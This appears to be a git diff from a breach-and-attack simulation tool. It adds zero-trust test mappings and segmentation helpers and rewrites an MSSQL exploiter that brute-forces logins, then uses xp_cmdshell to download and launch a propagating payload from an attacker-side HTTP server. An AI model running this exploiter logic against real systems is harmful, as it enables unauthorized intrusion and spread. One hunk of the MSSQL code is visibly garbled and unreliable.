+TEST_DATA_ENDPOINT_HTTP = u"unencrypted_data_endpoint_http"
+TEST_MACHINE_EXPLOITED = u"machine_exploited"
+TEST_ENDPOINT_SECURITY_EXISTS = u"endpoint_security_exists"
+TEST_SCHEDULED_EXECUTION = u"scheduled_execution"
+TEST_MALICIOUS_ACTIVITY_TIMELINE = u"malicious_activity_timeline"
+TEST_SEGMENTATION = u"segmentation"
+TEST_TUNNELING = u"tunneling"
+TEST_COMMUNICATE_AS_NEW_USER = u"communicate_as_new_user"
+TESTS = (
+ TEST_SEGMENTATION,
+ TEST_MALICIOUS_ACTIVITY_TIMELINE,
+ TEST_SCHEDULED_EXECUTION,
+ TEST_ENDPOINT_SECURITY_EXISTS,
+ TEST_MACHINE_EXPLOITED,
+ TEST_DATA_ENDPOINT_HTTP,
+ TEST_DATA_ENDPOINT_ELASTIC,
+ TEST_TUNNELING,
+ TEST_COMMUNICATE_AS_NEW_USER
+)
+
+PRINCIPLE_DATA_TRANSIT = u"data_transit"
+PRINCIPLE_ENDPOINT_SECURITY = u"endpoint_security"
+PRINCIPLE_USER_BEHAVIOUR = u"user_behaviour"
+PRINCIPLE_ANALYZE_NETWORK_TRAFFIC = u"analyze_network_traffic"
+PRINCIPLE_SEGMENTATION = u"segmentation"
+PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES = u"network_policies"
+PRINCIPLE_USERS_MAC_POLICIES = u"users_mac_policies"
+PRINCIPLES = {
+ PRINCIPLE_SEGMENTATION: u"Apply segmentation and micro-segmentation inside your network.",
+ PRINCIPLE_ANALYZE_NETWORK_TRAFFIC: u"Analyze network traffic for malicious activity.",
+ PRINCIPLE_USER_BEHAVIOUR: u"Adopt security user behavior analytics.",
+ PRINCIPLE_ENDPOINT_SECURITY: u"Use anti-virus and other traditional endpoint security solutions.",
+ PRINCIPLE_DATA_TRANSIT: u"Secure data at transit by encrypting it.",
+ PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES: u"Configure network policies to be as restrictive as possible.",
+ PRINCIPLE_USERS_MAC_POLICIES: u"Users' permissions to the network and to resources should be MAC (Mandetory "
+ u"Access Control) only.",
+}
+
+POSSIBLE_STATUSES_KEY = u"possible_statuses"
+PILLARS_KEY = u"pillars"
+PRINCIPLE_KEY = u"principle_key"
+FINDING_EXPLANATION_BY_STATUS_KEY = u"finding_explanation"
+TEST_EXPLANATION_KEY = u"explanation"
+TESTS_MAP = {
+ TEST_SEGMENTATION: {
+ TEST_EXPLANATION_KEY: u"The Monkey tried to scan and find machines that it can communicate with from the machine it's running on, that belong to different network segments.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey performed cross-segment communication. Check firewall rules and logs.",
+ STATUS_PASSED: "Monkey couldn't perform cross-segment communication. If relevant, check firewall logs."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_SEGMENTATION,
+ PILLARS_KEY: [NETWORKS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_PASSED, STATUS_FAILED]
+ },
+ TEST_MALICIOUS_ACTIVITY_TIMELINE: {
+ TEST_EXPLANATION_KEY: u"The Monkeys in the network performed malicious-looking actions, like scanning and attempting exploitation.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_VERIFY: "Monkey performed malicious actions in the network. Check SOC logs and alerts."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_ANALYZE_NETWORK_TRAFFIC,
+ PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+ },
+ TEST_ENDPOINT_SECURITY_EXISTS: {
+ TEST_EXPLANATION_KEY: u"The Monkey checked if there is an active process of an endpoint security software.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey didn't find ANY active endpoint security processes. Install and activate anti-virus software on endpoints.",
+ STATUS_PASSED: "Monkey found active endpoint security processes. Check their logs to see if Monkey was a security concern."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
+ PILLARS_KEY: [DEVICES],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+ TEST_MACHINE_EXPLOITED: {
+ TEST_EXPLANATION_KEY: u"The Monkey tries to exploit machines in order to breach them and propagate in the network.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey successfully exploited endpoints. Check IDS/IPS logs to see activity recognized and see which endpoints were compromised.",
+ STATUS_PASSED: "Monkey didn't manage to exploit an endpoint."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_ENDPOINT_SECURITY,
+ PILLARS_KEY: [DEVICES],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_VERIFY]
+ },
+ TEST_SCHEDULED_EXECUTION: {
+ TEST_EXPLANATION_KEY: "The Monkey was executed in a scheduled manner.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_VERIFY: "Monkey was executed in a scheduled manner. Locate this activity in User-Behavior security software.",
+ STATUS_PASSED: "Monkey failed to execute in a scheduled manner."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_USER_BEHAVIOUR,
+ PILLARS_KEY: [PEOPLE, NETWORKS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_VERIFY]
+ },
+ TEST_DATA_ENDPOINT_ELASTIC: {
+ TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to ElasticSearch instances.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey accessed ElasticSearch instances. Limit access to data by encrypting it in in-transit.",
+ STATUS_PASSED: "Monkey didn't find open ElasticSearch instances. If you have such instances, look for alerts that indicate attempts to access them."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
+ PILLARS_KEY: [DATA],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+ TEST_DATA_ENDPOINT_HTTP: {
+ TEST_EXPLANATION_KEY: u"The Monkey scanned for unencrypted access to HTTP servers.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey accessed HTTP servers. Limit access to data by encrypting it in in-transit.",
+ STATUS_PASSED: "Monkey didn't find open HTTP servers. If you have such servers, look for alerts that indicate attempts to access them."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_DATA_TRANSIT,
+ PILLARS_KEY: [DATA],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+ TEST_TUNNELING: {
+ TEST_EXPLANATION_KEY: u"The Monkey tried to tunnel traffic using other monkeys.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey tunneled its traffic using other monkeys. Your network policies are too permissive - restrict them."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_RESTRICTIVE_NETWORK_POLICIES,
+ PILLARS_KEY: [NETWORKS, VISIBILITY_ANALYTICS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED]
+ },
+ TEST_COMMUNICATE_AS_NEW_USER: {
+ TEST_EXPLANATION_KEY: u"The Monkey tried to create a new user and communicate with the internet from it.",
+ FINDING_EXPLANATION_BY_STATUS_KEY: {
+ STATUS_FAILED: "Monkey caused a new user to access the network. Your network policies are too permissive - restrict them to MAC only.",
+ STATUS_PASSED: "Monkey wasn't able to cause a new user to access the network."
+ },
+ PRINCIPLE_KEY: PRINCIPLE_USERS_MAC_POLICIES,
+ PILLARS_KEY: [PEOPLE, NETWORKS, VISIBILITY_ANALYTICS],
+ POSSIBLE_STATUSES_KEY: [STATUS_UNEXECUTED, STATUS_FAILED, STATUS_PASSED]
+ },
+}
+
+EVENT_TYPE_MONKEY_NETWORK = "monkey_network"
+EVENT_TYPE_MONKEY_LOCAL = "monkey_local"
+EVENT_TYPES = (EVENT_TYPE_MONKEY_LOCAL, EVENT_TYPE_MONKEY_NETWORK)
+
+PILLARS_TO_TESTS = {
+ DATA: [],
+ PEOPLE: [],
+ NETWORKS: [],
+ DEVICES: [],
+ WORKLOADS: [],
+ VISIBILITY_ANALYTICS: [],
+ AUTOMATION_ORCHESTRATION: []
+}
+
+PRINCIPLES_TO_TESTS = {}
+
+PRINCIPLES_TO_PILLARS = {}
+
+
+def populate_mappings():
+ populate_pillars_to_tests()
+ populate_principles_to_tests()
+ populate_principles_to_pillars()
+
+
+def populate_pillars_to_tests():
+ for pillar in PILLARS:
+ for test, test_info in TESTS_MAP.items():
+ if pillar in test_info[PILLARS_KEY]:
+ PILLARS_TO_TESTS[pillar].append(test)
+
+
+def populate_principles_to_tests():
+ for single_principle in PRINCIPLES:
+ PRINCIPLES_TO_TESTS[single_principle] = []
+ for test, test_info in TESTS_MAP.items():
+ PRINCIPLES_TO_TESTS[test_info[PRINCIPLE_KEY]].append(test)
+
+
+def populate_principles_to_pillars():
+ for principle, principle_tests in PRINCIPLES_TO_TESTS.items():
+ principles_pillars = set()
+ for test in principle_tests:
+ for pillar in TESTS_MAP[test][PILLARS_KEY]:
+ principles_pillars.add(pillar)
+ PRINCIPLES_TO_PILLARS[principle] = principles_pillars
diff --git a/monkey/common/network/segmentation_utils.py b/monkey/common/network/segmentation_utils.py
new file mode 100644
index 000000000..9bbaabf1d
--- /dev/null
+++ b/monkey/common/network/segmentation_utils.py
@@ -0,0 +1,23 @@
+def get_ip_in_src_and_not_in_dst(ip_addresses, source_subnet, target_subnet):
+ """
+ Finds an IP address in ip_addresses which is in source_subnet but not in target_subnet.
+ :param ip_addresses: List[str]: List of IP addresses to test.
+ :param source_subnet: NetworkRange: Subnet to want an IP to not be in.
+ :param target_subnet: NetworkRange: Subnet we want an IP to be in.
+ :return: The cross segment IP if in source but not in target, else None. Union[str, None]
+ """
+ if get_ip_if_in_subnet(ip_addresses, target_subnet) is not None:
+ return None
+ return get_ip_if_in_subnet(ip_addresses, source_subnet)
+
+
+def get_ip_if_in_subnet(ip_addresses, subnet):
+ """
+ :param ip_addresses: IP address list.
+ :param subnet: Subnet to check if one of ip_addresses is in there. This is common.network.network_range.NetworkRange
+ :return: The first IP in ip_addresses which is in the subnet if there is one, otherwise returns None.
+ """
+ for ip_address in ip_addresses:
+ if subnet.is_in_range(ip_address):
+ return ip_address
+ return None
diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py
new file mode 100644
index 000000000..56a560922
--- /dev/null
+++ b/monkey/common/network/segmentation_utils_test.py
@@ -0,0 +1,30 @@
+from common.network.network_range import *
+from common.network.segmentation_utils import get_ip_in_src_and_not_in_dst
+from monkey_island.cc.testing.IslandTestCase import IslandTestCase
+
+
+class TestSegmentationUtils(IslandTestCase):
+ def test_get_ip_in_src_and_not_in_dst(self):
+ self.fail_if_not_testing_env()
+ source = CidrRange("1.1.1.0/24")
+ target = CidrRange("2.2.2.0/24")
+
+ # IP not in both
+ self.assertIsNone(get_ip_in_src_and_not_in_dst(
+ [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
+ ))
+
+ # IP not in source, in target
+ self.assertIsNone(get_ip_in_src_and_not_in_dst(
+ [text_type("2.2.2.2")], source, target
+ ))
+
+ # IP in source, not in target
+ self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
+ [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
+ ))
+
+ # IP in both subnets
+ self.assertIsNone(get_ip_in_src_and_not_in_dst(
+ [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
+ ))
diff --git a/monkey/common/utils/attack_utils.py b/monkey/common/utils/attack_utils.py
index cb3c8f029..708bc8f3c 100644
--- a/monkey/common/utils/attack_utils.py
+++ b/monkey/common/utils/attack_utils.py
@@ -10,6 +10,20 @@ class ScanStatus(Enum):
USED = 2
+class UsageEnum(Enum):
+ SMB = {ScanStatus.USED.value: "SMB exploiter ran the monkey by creating a service via MS-SCMR.",
+ ScanStatus.SCANNED.value: "SMB exploiter failed to run the monkey by creating a service via MS-SCMR."}
+ MIMIKATZ = {ScanStatus.USED.value: "Windows module loader was used to load Mimikatz DLL.",
+ ScanStatus.SCANNED.value: "Monkey tried to load Mimikatz DLL, but failed."}
+ MIMIKATZ_WINAPI = {ScanStatus.USED.value: "WinAPI was called to load mimikatz.",
+ ScanStatus.SCANNED.value: "Monkey tried to call WinAPI to load mimikatz."}
+ DROPPER = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
+ SINGLETON_WINAPI = {ScanStatus.USED.value: "WinAPI was called to acquire system singleton for monkey's process.",
+ ScanStatus.SCANNED.value: "WinAPI call to acquire system singleton"
+ " for monkey process wasn't successful."}
+ DROPPER_WINAPI = {ScanStatus.USED.value: "WinAPI was used to mark monkey files for deletion on next boot."}
+
+
# Dict that describes what BITS job was used for
BITS_UPLOAD_STRING = "BITS job was used to upload monkey to a remote system."
diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py
index e95ad46b6..35bda0bd2 100644
--- a/monkey/infection_monkey/config.py
+++ b/monkey/infection_monkey/config.py
@@ -1,3 +1,4 @@
+import hashlib
import os
import json
import sys
@@ -13,9 +14,11 @@ GUID = str(uuid.getnode())
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
+SENSITIVE_FIELDS = ["exploit_password_list", "exploit_user_list"]
+HIDDEN_FIELD_REPLACEMENT_CONTENT = "hidden"
+
class Configuration(object):
-
def from_kv(self, formatted_data):
# now we won't work at <2.7 for sure
network_import = importlib.import_module('infection_monkey.network')
@@ -53,6 +56,12 @@ class Configuration(object):
result = self.from_kv(formatted_data)
return result
+ @staticmethod
+ def hide_sensitive_info(config_dict):
+ for field in SENSITIVE_FIELDS:
+ config_dict[field] = HIDDEN_FIELD_REPLACEMENT_CONTENT
+ return config_dict
+
def as_dict(self):
result = {}
for key in dir(Configuration):
@@ -174,7 +183,7 @@ class Configuration(object):
# TCP Scanner
HTTP_PORTS = [80, 8080, 443,
- 8008, # HTTP alternate
+ 8008, # HTTP alternate
7001 # Oracle Weblogic default server port
]
tcp_target_ports = [22,
@@ -207,9 +216,6 @@ class Configuration(object):
user_to_add = "Monkey_IUSER_SUPPORT"
remote_user_pass = "Password1!"
- # rdp exploiter
- rdp_use_vbs_download = True
-
# User and password dictionaries for exploits.
def get_exploit_user_password_pairs(self):
@@ -272,5 +278,17 @@ class Configuration(object):
PBA_linux_filename = None
PBA_windows_filename = None
+ @staticmethod
+ def hash_sensitive_data(sensitive_data):
+ """
+ Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
+ saved on client machines plain-text.
+
+ :param sensitive_data: the data to hash.
+ :return: the hashed data.
+ """
+ password_hashed = hashlib.sha512(sensitive_data).hexdigest()
+ return password_hashed
+
WormConfiguration = Configuration()
diff --git a/monkey/infection_monkey/control.py b/monkey/infection_monkey/control.py
index f34784041..4e917e5a6 100644
--- a/monkey/infection_monkey/control.py
+++ b/monkey/infection_monkey/control.py
@@ -125,6 +125,7 @@ class ControlClient(object):
@staticmethod
def send_telemetry(telem_category, data):
if not WormConfiguration.current_server:
+ LOG.error("Trying to send %s telemetry before current server is established, aborting." % telem_category)
return
try:
telemetry = {'monkey_guid': GUID, 'telem_category': telem_category, 'data': data}
@@ -168,7 +169,8 @@ class ControlClient(object):
try:
unknown_variables = WormConfiguration.from_kv(reply.json().get('config'))
- LOG.info("New configuration was loaded from server: %r" % (WormConfiguration.as_dict(),))
+ LOG.info("New configuration was loaded from server: %r" %
+ (WormConfiguration.hide_sensitive_info(WormConfiguration.as_dict()),))
except Exception as exc:
# we don't continue with default conf here because it might be dangerous
LOG.error("Error parsing JSON reply from control server %s (%s): %s",
diff --git a/monkey/infection_monkey/dropper.py b/monkey/infection_monkey/dropper.py
index cc065a745..7c576fc30 100644
--- a/monkey/infection_monkey/dropper.py
+++ b/monkey/infection_monkey/dropper.py
@@ -11,9 +11,11 @@ from ctypes import c_char_p
import filecmp
from infection_monkey.config import WormConfiguration
-from infection_monkey.exploit.tools import build_monkey_commandline_explicitly
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline_explicitly
from infection_monkey.model import MONKEY_CMDLINE_WINDOWS, MONKEY_CMDLINE_LINUX, GENERAL_CMDLINE_LINUX
from infection_monkey.system_info import SystemInfoCollector, OperatingSystem
+from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
+from common.utils.attack_utils import ScanStatus, UsageEnum
if "win32" == sys.platform:
from win32process import DETACHED_PROCESS
@@ -156,5 +158,6 @@ class MonkeyDrops(object):
else:
LOG.debug("Dropper source file '%s' is marked for deletion on next boot",
self._config['source_path'])
+ T1106Telem(ScanStatus.USED, UsageEnum.DROPPER_WINAPI).send()
except AttributeError:
LOG.error("Invalid configuration options. Failing")
diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf
index 8dba50352..57b8d6ee5 100644
--- a/monkey/infection_monkey/example.conf
+++ b/monkey/infection_monkey/example.conf
@@ -63,7 +63,6 @@
"user_to_add": "Monkey_IUSER_SUPPORT",
"remote_user_pass": "Password1!",
"ping_scan_timeout": 10000,
- "rdp_use_vbs_download": true,
"smb_download_timeout": 300,
"smb_service_name": "InfectionMonkey",
"retry_failed_explotation": true,
diff --git a/monkey/infection_monkey/exploit/__init__.py b/monkey/infection_monkey/exploit/__init__.py
index 0dacb3496..312b747b0 100644
--- a/monkey/infection_monkey/exploit/__init__.py
+++ b/monkey/infection_monkey/exploit/__init__.py
@@ -73,12 +73,11 @@ class HostExploiter(object, metaclass=ABCMeta):
"""
powershell = True if "powershell" in cmd.lower() else False
self.exploit_info['executed_cmds'].append({'cmd': cmd, 'powershell': powershell})
-
+
from infection_monkey.exploit.win_ms08_067 import Ms08_067_Exploiter
from infection_monkey.exploit.wmiexec import WmiExploiter
from infection_monkey.exploit.smbexec import SmbExploiter
-from infection_monkey.exploit.rdpgrinder import RdpExploiter
from infection_monkey.exploit.sshexec import SSHExploiter
from infection_monkey.exploit.shellshock import ShellShockExploiter
from infection_monkey.exploit.sambacry import SambaCryExploiter
diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py
index 24a902eea..f1057f2dd 100644
--- a/monkey/infection_monkey/exploit/elasticgroovy.py
+++ b/monkey/infection_monkey/exploit/elasticgroovy.py
@@ -8,9 +8,10 @@ import json
import logging
import requests
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.model import WGET_HTTP_UPLOAD, RDP_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
+from infection_monkey.model import WGET_HTTP_UPLOAD, BITSADMIN_CMDLINE_HTTP, CHECK_COMMAND, ID_STRING, CMD_PREFIX,\
DOWNLOAD_TIMEOUT
-from infection_monkey.network.elasticfinger import ES_PORT, ES_SERVICE
+from infection_monkey.network.elasticfinger import ES_PORT
+from common.data.network_consts import ES_SERVICE
from infection_monkey.telemetry.attack.t1197_telem import T1197Telem
from common.utils.attack_utils import ScanStatus, BITS_UPLOAD_STRING
@@ -38,7 +39,7 @@ class ElasticGroovyExploiter(WebRCE):
exploit_config = super(ElasticGroovyExploiter, self).get_exploit_config()
exploit_config['dropper'] = True
exploit_config['url_extensions'] = ['_search?pretty']
- exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX+" "+RDP_CMDLINE_HTTP}
+ exploit_config['upload_commands'] = {'linux': WGET_HTTP_UPLOAD, 'windows': CMD_PREFIX +" " + BITSADMIN_CMDLINE_HTTP}
return exploit_config
def get_open_service_ports(self, port_list, names):
diff --git a/monkey/infection_monkey/exploit/hadoop.py b/monkey/infection_monkey/exploit/hadoop.py
index 8dfa67b08..05c6315c1 100644
--- a/monkey/infection_monkey/exploit/hadoop.py
+++ b/monkey/infection_monkey/exploit/hadoop.py
@@ -11,7 +11,8 @@ import logging
import posixpath
from infection_monkey.exploit.web_rce import WebRCE
-from infection_monkey.exploit.tools import HTTPTools, build_monkey_commandline, get_monkey_depth
+from infection_monkey.exploit.tools.http_tools import HTTPTools
+from infection_monkey.exploit.tools.helpers import build_monkey_commandline, get_monkey_depth
from infection_monkey.model import MONKEY_ARG, ID_STRING, HADOOP_WINDOWS_COMMAND, HADOOP_LINUX_COMMAND
__author__ = 'VakarisZ'
diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py
index 9d1dcb2d6..718615114 100644
--- a/monkey/infection_monkey/exploit/mssqlexec.py
+++ b/monkey/infection_monkey/exploit/mssqlexec.py
@@ -1,16 +1,18 @@
import logging
import os
-import textwrap
+import sys
from time import sleep
import pymssql
from common.utils.exploit_enum import ExploitType
-from infection_monkey.exploit import HostExploiter, tools
-from infection_monkey.exploit.tools import HTTPTools
-from infection_monkey.exploit.tools import get_monkey_dest_path
+from infection_monkey.exploit import HostExploiter
+from infection_monkey.exploit.tools.http_tools import MonkeyHTTPServer
+from infection_monkey.exploit.tools.helpers import get_monkey_dest_path, build_monkey_commandline, get_monkey_depth
from infection_monkey.model import DROPPER_ARG
-from infection_monkey.utils import get_monkey_dir_path
+from infection_monkey.utils.monkey_dir import get_monkey_dir_path
+from infection_monkey.exploit.tools.payload_parsing import LimitedSizePayload
+from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError
LOG = logging.getLogger(__name__)
@@ -24,98 +26,145 @@ class MSSQLExploiter(HostExploiter):
# Time in seconds to wait between MSSQL queries.
QUERY_BUFFER = 0.5
SQL_DEFAULT_TCP_PORT = '1433'
+
# Temporary file that saves commands for monkey's download and execution.
TMP_FILE_NAME = 'tmp_monkey.bat'
+ TMP_DIR_PATH = "%temp%\\tmp_monkey_dir"
+
+ MAX_XP_CMDSHELL_COMMAND_SIZE = 128
+
+ XP_CMDSHELL_COMMAND_START = "xp_cmdshell \""
+ XP_CMDSHELL_COMMAND_END = "\""
+ EXPLOIT_COMMAND_PREFIX = "%s\"" % tmp_file_path,
- "xp_cmdshell \">%s\"" % (http_path, tmp_file_path),
- "xp_cmdshell \">%s\"" % (dst_path, tmp_file_path)]
- MSSQLExploiter.execute_command(cursor, commands)
- MSSQLExploiter.run_file(cursor, tmp_file_path)
- self.add_executed_cmd(' '.join(commands))
- # Form monkey's command in a file
- monkey_args = tools.build_monkey_commandline(self.host,
- tools.get_monkey_depth() - 1,
- dst_path)
- monkey_args = ["xp_cmdshell \">%s\"" % (part, tmp_file_path)
- for part in textwrap.wrap(monkey_args, 40)]
- commands = ["xp_cmdshell \"%s\"" % (dst_path, DROPPER_ARG, tmp_file_path)]
- commands.extend(monkey_args)
- MSSQLExploiter.execute_command(cursor, commands)
- MSSQLExploiter.run_file(cursor, tmp_file_path)
- self.add_executed_cmd(commands[-1])
- return True
-
- @staticmethod
- def run_file(cursor, file_path):
- command = ["exec xp_cmdshell \"%s\"" % file_path]
- return MSSQLExploiter.execute_command(cursor, command)
-
- @staticmethod
- def execute_command(cursor, cmds):
- """
- Executes commands on MSSQL server
- :param cursor: MSSQL connection
- :param cmds: list of commands in MSSQL syntax.
- :return: True if successfully executed, false otherwise.
- """
try:
- # Running the cmd on remote host
- for cmd in cmds:
- cursor.execute(cmd)
- sleep(MSSQLExploiter.QUERY_BUFFER)
+ self.create_empty_payload_file()
+
+ self.start_monkey_server()
+ self.upload_monkey()
+ self.stop_monkey_server()
+
+ # Clear payload to pass in another command
+ self.create_empty_payload_file()
+
+ self.run_monkey()
+
+ self.remove_temp_dir()
except Exception as e:
- LOG.error('Error sending the payload using xp_cmdshell to host: %s' % e)
- return False
+ raise ExploitingVulnerableMachineError, e.args, sys.exc_info()[2]
+
return True
+ def run_payload_file(self):
+ file_running_command = MSSQLLimitedSizePayload(self.payload_file_path)
+ return self.run_mssql_command(file_running_command)
+
+ def create_temp_dir(self):
+ dir_creation_command = MSSQLLimitedSizePayload(command="mkdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
+ self.run_mssql_command(dir_creation_command)
+
+ def create_empty_payload_file(self):
+ suffix = MSSQLExploiter.CREATE_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
+ tmp_file_creation_command = MSSQLLimitedSizePayload(command="NUL", suffix=suffix)
+ self.run_mssql_command(tmp_file_creation_command)
+
+ def run_mssql_command(self, mssql_command):
+ array_of_commands = mssql_command.split_into_array_of_smaller_payloads()
+ if not array_of_commands:
+ raise Exception("Couldn't execute MSSQL exploiter because payload was too long")
+ self.run_mssql_commands(array_of_commands)
+
+ def run_monkey(self):
+ monkey_launch_command = self.get_monkey_launch_command()
+ self.run_mssql_command(monkey_launch_command)
+ self.run_payload_file()
+
+ def run_mssql_commands(self, cmds):
+ for cmd in cmds:
+ self.cursor.execute(cmd)
+ sleep(MSSQLExploiter.QUERY_BUFFER)
+
+ def upload_monkey(self):
+ monkey_download_command = self.write_download_command_to_payload()
+ self.run_payload_file()
+ self.add_executed_cmd(monkey_download_command.command)
+
+ def remove_temp_dir(self):
+ # Remove temporary dir we stored payload at
+ tmp_file_removal_command = MSSQLLimitedSizePayload(command="del {}".format(self.payload_file_path))
+ self.run_mssql_command(tmp_file_removal_command)
+ tmp_dir_removal_command = MSSQLLimitedSizePayload(command="rmdir {}".format(MSSQLExploiter.TMP_DIR_PATH))
+ self.run_mssql_command(tmp_dir_removal_command)
+
+ def start_monkey_server(self):
+ self.monkey_server = MonkeyHTTPServer(self.host)
+ self.monkey_server.start()
+
+ def stop_monkey_server(self):
+ self.monkey_server.stop()
+
+ def write_download_command_to_payload(self):
+ monkey_download_command = self.get_monkey_download_command()
+ self.run_mssql_command(monkey_download_command)
+ return monkey_download_command
+
+ def get_monkey_launch_command(self):
+ dst_path = get_monkey_dest_path(self.monkey_server.http_path)
+ # Form monkey's launch command
+ monkey_args = build_monkey_commandline(self.host,
+ get_monkey_depth() - 1,
+ dst_path)
+ suffix = ">>{}".format(self.payload_file_path)
+ prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+ return MSSQLLimitedSizePayload(command="{} {} {}".format(dst_path, DROPPER_ARG, monkey_args),
+ prefix=prefix,
+ suffix=suffix)
+
+ def get_monkey_download_command(self):
+ dst_path = get_monkey_dest_path(self.monkey_server.http_path)
+ monkey_download_command = MSSQLExploiter.MONKEY_DOWNLOAD_COMMAND.\
+ format(http_path=self.monkey_server.http_path, dst_path=dst_path)
+ prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
+ suffix = MSSQLExploiter.EXPLOIT_COMMAND_SUFFIX.format(payload_file_path=self.payload_file_path)
+ return MSSQLLimitedSizePayload(command=monkey_download_command,
+ suffix=suffix,
+ prefix=prefix)
+
def brute_force(self, host, port, users_passwords_pairs_list):
"""
- Starts the brute force connection attempts and if needed then init the payload process.
- Main loop starts here.
+ Starts the brute force connection attempts and if needed then init the payload process.
+ Main loop starts here.
- Args:
- host (str): Host ip address
- port (str): Tcp port that the host listens to
- users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
+ Args:
+ host (str): Host ip address
+ port (str): Tcp port that the host listens to
+ users_passwords_pairs_list (list): a list of users and passwords pairs to bruteforce with
- Return:
- True or False depends if the whole bruteforce and attack process was completed successfully or not
- """
+ Return:
+ True or False depends if the whole bruteforce and attack process was completed successfully or not
+ """
# Main loop
# Iterates on users list
for user, password in users_passwords_pairs_list:
@@ -123,8 +172,9 @@ class MSSQLExploiter(HostExploiter):
# Core steps
# Trying to connect
conn = pymssql.connect(host, user, password, port=port, login_timeout=self.LOGIN_TIMEOUT)
- LOG.info('Successfully connected to host: {0}, '
- 'using user: {1}, password: {2}'.format(host, user, password))
+ LOG.info(
+ 'Successfully connected to host: {0}, using user: {1}, password (SHA-512): {2}'.format(
+ host, user, self._config.hash_sensitive_data(password)))
self.add_vuln_port(MSSQLExploiter.SQL_DEFAULT_TCP_PORT)
self.report_login_attempt(True, user, password)
cursor = conn.cursor()
@@ -136,4 +186,12 @@ class MSSQLExploiter(HostExploiter):
LOG.warning('No user/password combo was able to connect to host: {0}:{1}, '
'aborting brute force'.format(host, port))
- return None
+ raise RuntimeError("Bruteforce process failed on host: {0}".format(self.host.ip_addr))
+
+
+class MSSQLLimitedSizePayload(LimitedSizePayload):
+ def __init__(self, command, prefix="", suffix=""):
+ super(MSSQLLimitedSizePayload, self).__init__(command=command,
+ max_length=MSSQLExploiter.MAX_XP_CMDSHELL_COMMAND_SIZE,
+ prefix=MSSQLExploiter.XP_CMDSHELL_COMMAND_START+prefix,
+ suffix=suffix+MSSQLExploiter.XP_CMDSHELL_COMMAND_END)
diff --git a/monkey/infection_monkey/exploit/rdpgrinder.py b/monkey/infection_monkey/exploit/rdpgrinder.py
deleted file mode 100644
index ed64736ac..000000000
--- a/monkey/infection_monkey/exploit/rdpgrinder.py
+++ /dev/null
@@ -1,347 +0,0 @@
-import os.path
-import threading
-import time
-from logging import getLogger
-
-import rdpy.core.log as rdpy_log
-import twisted.python.log
-from rdpy.core.error import RDPSecurityNegoFail
-from rdpy.protocol.rdp import rdp
-from twisted.internet import reactor
-
-from infection_monkey.exploit import HostExploiter
-from infection_monkey.exploit.tools import HTTPTools, get_monkey_depth
-from infection_monkey.exploit.tools import get_target_monkey
-from infection_monkey.model import RDP_CMDLINE_HTTP_BITS, RDP_CMDLINE_HTTP_VBS
-from infection_monkey.network.tools import check_tcp_port
-from infection_monkey.exploit.tools import build_monkey_commandline
